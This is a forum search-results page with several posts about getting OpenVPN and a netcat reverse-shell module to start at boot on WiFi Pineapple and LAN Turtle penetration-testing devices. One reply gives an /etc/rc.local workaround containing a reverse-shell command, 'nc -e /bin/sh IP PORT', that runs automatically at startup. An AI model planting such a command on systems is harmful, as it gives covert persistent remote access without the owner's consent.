Search the Community
Showing results for tags 'startup'.
Found 4 results
stevancw posted a topic in WiFi Pineapple NANOI really loved the last two episodes on creating a VPN. I have a Wifi Pineapple Nano and have setup a VPN server and can manually connect . I used the forwarding 'foo' code in the video to get client forwarding working. Now I wanted to make it so that the openvpn client and the forwarding script works on startup but I cannot seem to get it working. I've done some searching but cannot think of where to go from here. I've put this in /etc/init.d/ #!/bin/sh # Start the openvpn service openvpn client.ovpn #Setup forwarding for clients iptables -t nat -A POSTROUTING -s 172.16.42.0/24 -o tun0 -j MASQUERADE iptables -A FORWARD -s 172.16.42.0/24 -o tun0 -j ACCEPT iptables -A FORWARD -d 172.16.42.0/24 -m state --state ESTABLISHED,RELATED -i tun0 -j ACCEPT And created a symlink to /etc/rc.d/ If I run the commands separately it all works however I cannot get it to run on boot. Should they be run as two different processes? Is it because openvpn is running the second won't trigger. Not sure if it's my lack of understanding of Unix/bash scripting or something else. Thanks for your time guys.
I have configured my netcat-revshell on my turtle lan. The netcat-revshell works fine if I manually start it in the menu. I have set the Bootup Status to Enabled. I reboot the turtlelan and netcat-revshell does not start, viewing the menu it confirms that Bootup Status is Enabled and the Current Status is stopped. If I click on Start the netcat-revshell starts up and works as expected. But I cannot get netcat-revshell to start on bootup even though it is configured to. I am on v2 and no updates are available as of today. May be related to "OpenVPN does not start on boot" -
See the following threads, It appears a lot of the modules start on boot does not work. A workaround for anyone reading this is to add the command in /etc/rc.local For example I enable OpenVPN and start a nc reverse shell and my /etc/rc.local looks like this. Note there is no service or systemctl on the turtle /etc/init.d/openvpn start #sh reverse shell nc -e /bin/sh IP PORT #Add your commands above this line exit 0
I have configured my openvpn on my turtle lan. The openvpn works fine if I manually start it in the menu or issue a /etc/init.d/openvpn start command. I have set the Bootup Status to Enabled. I reboot the turtlelan and openvpn does not start, viewing the menu it confirms that Bootup Status is Enabled and the Current Status is stopped. If I click on Start the openvpn starts up and works as expected. But I cannot get openvpn to start on bootup even though it is configured to. Side note: If you click on stop after start you get "Command failed: Not found" for an error and the openvpn is still started.